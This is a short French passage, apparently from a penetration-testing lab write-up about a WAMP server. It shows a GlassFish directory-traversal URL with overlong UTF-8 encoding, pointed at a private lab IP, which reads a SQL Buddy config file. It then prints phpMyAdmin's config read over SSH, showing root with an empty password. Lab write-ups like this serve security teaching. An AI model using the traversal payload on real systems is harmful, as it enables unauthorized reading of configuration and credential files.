On sait que via GlassFish nous pouvons accéder à différents fichiers tels que les fichiers de configurations pour phpmyadmin ainsi que mysql
<https://192.168.56.102:4848/theme/com%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwamp/apps/sqlbuddy1.3.3/config.php>
<?php
/*
SQL Buddy - Web based MySQL administration
<http://www.sqlbuddy.com/>
config.php
- options for customizing sql buddy
MIT license
2008 Calvin Lough <http://calv.in>
*/
/* The values below are for the login.php page */
$sbconfig['DefaultAdapter'] = "mysql";
$sbconfig['DefaultHost'] = "localhost";
$sbconfig['DefaultUser'] = "root";
/*
* If you want to enable automatic login, you can include your password below. To
* automatically connect to SQLite, include the filename of the database instead.
* Note: This is generally not recommended because it means that anyone with the
* proper url will have access to your data. It should only be used on machines
* that are not accessible from the internet (local testing boxes) or if you have
* set up some other form of authentication. Use as your own discretion.
*/
// MySQL
// $sbconfig['DefaultPass'] = "";
// SQLite
// $sbconfig['DefaultDatabase'] = "";
/*
* By default, when you view the homepage of your SQL Buddy installation, a check is
* performed to see if a newer version of the application is available. No personal
* information is sent about your installation and the response from the server is sent
* as plain text. If, for some reason, you want to disable this behaviour, set this option
* to true to disable automatic checking for updates. To learn about new versions, you can
* always check the projects website at <http://www.sqlbuddy.com/>
*/
$sbconfig['EnableUpdateCheck'] = true;
/*
* This controls how many rows are displayed at once on the browse tab. If you are on a local
* machine or have a fast internet connection, you could increase this value.
*/
$sbconfig['RowsPerPage'] = 100;
/*
* When set to true, the server will attempt to compress all content before it is sent to the
* browser. Although unlikely, there is a chance that using gzip will cause issues on certain setups.
* If you are having trouble getting pages to load properly, you could try disabling gzip.
*/
$sbconfig['EnableGzip'] = true;
?>
Via la connexion en SSH on a ceci:
C:\\wamp\\apps\\phpmyadmin3.4.10.1>type config.inc.php
<?php
/* Servers configuration */
$i = 0;
/* Server: localhost [1] */
$i++;
$cfg['Servers'][$i]['verbose'] = 'localhost';
$cfg['Servers'][$i]['host'] = 'localhost';
$cfg['Servers'][$i]['port'] = '';
$cfg['Servers'][$i]['socket'] = '';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';
$cfg['Servers'][$i]['password'] = '';
$cfg['Servers'][$i]['AllowNoPassword'] = true;
/* End of servers configuration */
$cfg['DefaultLang'] = 'en-utf-8';
$cfg['ServerDefault'] = 1;
$cfg['UploadDir'] = '';
$cfg['SaveDir'] = '';
/* rajk - for blobstreaming */
$cfg['Servers'][$i]['bs_garbage_threshold'] = 50;
$cfg['Servers'][$i]['bs_repository_threshold'] = '32M';
$cfg['Servers'][$i]['bs_temp_blob_timeout'] = 600;
$cfg['Servers'][$i]['bs_temp_log_threshold'] = '32M';
?>
On remarque cependant que la connexion à la base de données est distante et non disponible
220131 6:54:35 [Warning] IP address '192.168.56.103' could not be resolved: The requested name is valid, but no data of the requested type was found.
220131 7:53:33 [Note] wampmysqld: Normal shutdown